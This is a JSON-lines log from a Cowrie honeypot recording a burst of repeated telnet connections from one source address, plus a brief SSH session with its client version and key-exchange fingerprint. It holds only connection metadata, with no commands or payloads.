{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42132,"dst_ip":"10.17.0.5","dst_port":23,"session":"8595939946cd","protocol":"telnet","message":"New connection: 198.50.122.223:42132 (10.17.0.5:23) [session: 8595939946cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.195195Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42640,"dst_ip":"10.17.0.5","dst_port":23,"session":"891f1763c778","protocol":"telnet","message":"New connection: 198.50.122.223:42640 (10.17.0.5:23) [session: 891f1763c778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.333936Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42800,"dst_ip":"10.17.0.5","dst_port":23,"session":"c51eb63b1b4e","protocol":"telnet","message":"New connection: 198.50.122.223:42800 (10.17.0.5:23) [session: c51eb63b1b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.376765Z"}
{"eventid":"cowrie.session.closed","duration":31.205610513687134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.381997Z","src_ip":"198.50.122.223","session":"e28443a9bff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43110,"dst_ip":"10.17.0.5","dst_port":23,"session":"691ebd7362d0","protocol":"telnet","message":"New connection: 198.50.122.223:43110 (10.17.0.5:23) [session: 691ebd7362d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.429683Z"}
{"eventid":"cowrie.session.closed","duration":30.875534296035767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.480272Z","src_ip":"198.50.122.223","session":"ae0027f0f48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89618182182312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.812698Z","src_ip":"198.50.122.223","session":"ab06dc97e573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011755228042603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:09.136386Z","src_ip":"198.50.122.223","session":"b0d12c2d31f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46698,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4164ea1acbd","protocol":"telnet","message":"New connection: 198.50.122.223:46698 (10.17.0.5:23) [session: f4164ea1acbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:09.141844Z"}
{"eventid":"cowrie.session.closed","duration":30.2061665058136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:09.180006Z","src_ip":"198.50.122.223","session":"ceb048436083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47122,"dst_ip":"10.17.0.5","dst_port":23,"session":"652160b2b2ff","protocol":"telnet","message":"New connection: 198.50.122.223:47122 (10.17.0.5:23) [session: 652160b2b2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:09.273601Z"}
{"eventid":"cowrie.session.closed","duration":30.434551239013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:09.282446Z","src_ip":"198.50.122.223","session":"4caeff3ea999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3395e75daab","protocol":"telnet","message":"New connection: 198.50.122.223:47596 (10.17.0.5:23) [session: b3395e75daab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:09.408129Z"}
{"eventid":"cowrie.session.closed","duration":31.195546865463257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:09.594069Z","src_ip":"198.50.122.223","session":"a5c726fe3ff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041091918945312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:10.245945Z","src_ip":"198.50.122.223","session":"3d961f472e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89820647239685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:10.592748Z","src_ip":"198.50.122.223","session":"4f3a0b1bb8e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41956877708435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:10.725836Z","src_ip":"198.50.122.223","session":"c86578e87ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54860,"dst_ip":"10.17.0.5","dst_port":23,"session":"79261c3226c1","protocol":"telnet","message":"New connection: 198.50.122.223:54860 (10.17.0.5:23) [session: 79261c3226c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.061105Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54998,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad3dfdbada8","protocol":"telnet","message":"New connection: 198.50.122.223:54998 (10.17.0.5:23) [session: 6ad3dfdbada8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.132839Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55016,"dst_ip":"10.17.0.5","dst_port":23,"session":"8312b7a90722","protocol":"telnet","message":"New connection: 198.50.122.223:55016 (10.17.0.5:23) [session: 8312b7a90722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.141415Z"}
{"eventid":"cowrie.session.closed","duration":31.801649808883667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.404425Z","src_ip":"198.50.122.223","session":"a8dd502d9783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08986258506775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.456957Z","src_ip":"198.50.122.223","session":"222f7e094624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125563859939575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.688589Z","src_ip":"198.50.122.223","session":"bdfc5e55c0fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57716,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bab49509a94","protocol":"telnet","message":"New connection: 198.50.122.223:57716 (10.17.0.5:23) [session: 4bab49509a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.716789Z"}
{"eventid":"cowrie.session.closed","duration":31.385091066360474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:11.743507Z","src_ip":"198.50.122.223","session":"1990524ad6bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785583019256592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.067271Z","src_ip":"198.50.122.223","session":"510bb850326a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59512,"dst_ip":"10.17.0.5","dst_port":23,"session":"66dce68d3728","protocol":"telnet","message":"New connection: 198.50.122.223:59512 (10.17.0.5:23) [session: 66dce68d3728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.073530Z"}
{"eventid":"cowrie.session.closed","duration":30.55779767036438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.256834Z","src_ip":"198.50.122.223","session":"a88b2cee42ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844953060150146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.345418Z","src_ip":"198.50.122.223","session":"e1fa08b1e1b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15608024597168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.354055Z","src_ip":"198.50.122.223","session":"0d6ed976583d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686034679412842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.564011Z","src_ip":"198.50.122.223","session":"eec4ef6f59d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52796,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd2895375c5","protocol":"telnet","message":"New connection: 198.50.122.223:52796 (10.17.0.5:23) [session: 1bd2895375c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.684739Z"}
{"eventid":"cowrie.session.closed","duration":31.08100914955139,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.755369Z","src_ip":"198.50.122.223","session":"ef5d7a516054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"f70eaf16d6d2","protocol":"telnet","message":"New connection: 198.50.122.223:34694 (10.17.0.5:23) [session: f70eaf16d6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:12.818183Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36010,"dst_ip":"10.17.0.5","dst_port":23,"session":"df6c857d1ca0","protocol":"telnet","message":"New connection: 198.50.122.223:36010 (10.17.0.5:23) [session: df6c857d1ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:13.165561Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36480,"dst_ip":"10.17.0.5","dst_port":23,"session":"c622e5a22d13","protocol":"telnet","message":"New connection: 198.50.122.223:36480 (10.17.0.5:23) [session: c622e5a22d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:13.307830Z"}
{"eventid":"cowrie.session.closed","duration":31.269033908843994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:13.723189Z","src_ip":"198.50.122.223","session":"6e2d84a31614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41212,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a0525f65c1","protocol":"telnet","message":"New connection: 198.50.122.223:41212 (10.17.0.5:23) [session: 76a0525f65c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:14.318103Z"}
{"eventid":"cowrie.session.closed","duration":30.806568145751953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:14.339088Z","src_ip":"198.50.122.223","session":"44afc0c06f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824827671051025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:14.361944Z","src_ip":"198.50.122.223","session":"11eaa63f166c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0326189994812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:14.488621Z","src_ip":"198.50.122.223","session":"d7dbfaf59326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43582,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb8c3dd5bae","protocol":"telnet","message":"New connection: 198.50.122.223:43582 (10.17.0.5:23) [session: ffb8c3dd5bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:14.737829Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45034,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce91834df0c","protocol":"telnet","message":"New connection: 198.50.122.223:45034 (10.17.0.5:23) [session: 6ce91834df0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.086905Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45072,"dst_ip":"10.17.0.5","dst_port":23,"session":"728d6fefc771","protocol":"telnet","message":"New connection: 198.50.122.223:45072 (10.17.0.5:23) [session: 728d6fefc771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.102864Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f924673c26b4","protocol":"telnet","message":"New connection: 198.50.122.223:45548 (10.17.0.5:23) [session: f924673c26b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.250967Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52022,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f9184893b02","protocol":"ssh","message":"New connection: 122.168.114.167:52022 (159.203.135.109:22) [session: 4f9184893b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.310504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.317250Z","src_ip":"122.168.114.167","session":"4f9184893b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45832,"dst_ip":"10.17.0.5","dst_port":23,"session":"66016502feab","protocol":"telnet","message":"New connection: 198.50.122.223:45832 (10.17.0.5:23) [session: 66016502feab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.350936Z"}
{"eventid":"cowrie.session.closed","duration":30.869346618652344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.368859Z","src_ip":"198.50.122.223","session":"2ec1bf92aa55","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.590711Z","src_ip":"122.168.114.167","session":"4f9184893b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49044,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce13ca743868","protocol":"telnet","message":"New connection: 198.50.122.223:49044 (10.17.0.5:23) [session: ce13ca743868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:15.896971Z"}
{"eventid":"cowrie.session.closed","duration":30.260350465774536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:16.236436Z","src_ip":"198.50.122.223","session":"d41d649beaa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85140562057495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:16.334079Z","src_ip":"198.50.122.223","session":"2dfdf9b83f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:16.411592Z","src_ip":"122.168.114.167","session":"4f9184893b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50754,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c8d4f2a8408","protocol":"telnet","message":"New connection: 198.50.122.223:50754 (10.17.0.5:23) [session: 4c8d4f2a8408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:16.421176Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51764,"dst_ip":"10.17.0.5","dst_port":23,"session":"a69c11a937d3","protocol":"telnet","message":"New connection: 198.50.122.223:51764 (10.17.0.5:23) [session: a69c11a937d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:16.636510Z"}
{"eventid":"cowrie.session.closed","duration":31.316482305526733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:16.752908Z","src_ip":"198.50.122.223","session":"497b233f21b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54740,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe64a655bfef","protocol":"telnet","message":"New connection: 198.50.122.223:54740 (10.17.0.5:23) [session: fe64a655bfef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.177269Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54922,"dst_ip":"10.17.0.5","dst_port":23,"session":"df9b54875f6d","protocol":"telnet","message":"New connection: 198.50.122.223:54922 (10.17.0.5:23) [session: df9b54875f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.245498Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54960,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a1326c79509","protocol":"telnet","message":"New connection: 198.50.122.223:54960 (10.17.0.5:23) [session: 5a1326c79509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.253839Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55232,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d13bde96a5","protocol":"telnet","message":"New connection: 198.50.122.223:55232 (10.17.0.5:23) [session: 63d13bde96a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.320472Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55342,"dst_ip":"10.17.0.5","dst_port":23,"session":"11587a37dc52","protocol":"telnet","message":"New connection: 198.50.122.223:55342 (10.17.0.5:23) [session: 11587a37dc52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.349920Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55778,"dst_ip":"10.17.0.5","dst_port":23,"session":"54e02081728a","protocol":"telnet","message":"New connection: 198.50.122.223:55778 (10.17.0.5:23) [session: 54e02081728a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.441952Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58484,"dst_ip":"10.17.0.5","dst_port":23,"session":"a94e73a72a91","protocol":"telnet","message":"New connection: 198.50.122.223:58484 (10.17.0.5:23) [session: a94e73a72a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.918339Z"}
{"eventid":"cowrie.session.closed","duration":31.006767988204956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.939152Z","src_ip":"198.50.122.223","session":"e06dfadc8ddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140599727630615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:17.948062Z","src_ip":"198.50.122.223","session":"8f7b9aac5e14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58992,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c17ed967dd9","protocol":"telnet","message":"New connection: 198.50.122.223:58992 (10.17.0.5:23) [session: 1c17ed967dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.055579Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe207426baf","protocol":"telnet","message":"New connection: 198.50.122.223:59046 (10.17.0.5:23) [session: ffe207426baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.093748Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da1d816ba18","protocol":"telnet","message":"New connection: 198.50.122.223:59688 (10.17.0.5:23) [session: 7da1d816ba18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.284987Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59712,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d11d3001507","protocol":"telnet","message":"New connection: 198.50.122.223:59712 (10.17.0.5:23) [session: 6d11d3001507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.291370Z"}
{"eventid":"cowrie.session.closed","duration":31.056555032730103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.342340Z","src_ip":"198.50.122.223","session":"f253a5e333e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60076880455017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.510024Z","src_ip":"198.50.122.223","session":"52a9db0376e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125919818878174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.515324Z","src_ip":"198.50.122.223","session":"d4f47a828a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34086,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d0230030a5","protocol":"telnet","message":"New connection: 198.50.122.223:34086 (10.17.0.5:23) [session: e1d0230030a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.744897Z"}
{"eventid":"cowrie.session.closed","duration":32.220311880111694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:18.947468Z","src_ip":"198.50.122.223","session":"8e39365941c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100581884384155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:19.152800Z","src_ip":"198.50.122.223","session":"db8367101512","protocol":"telnet"}
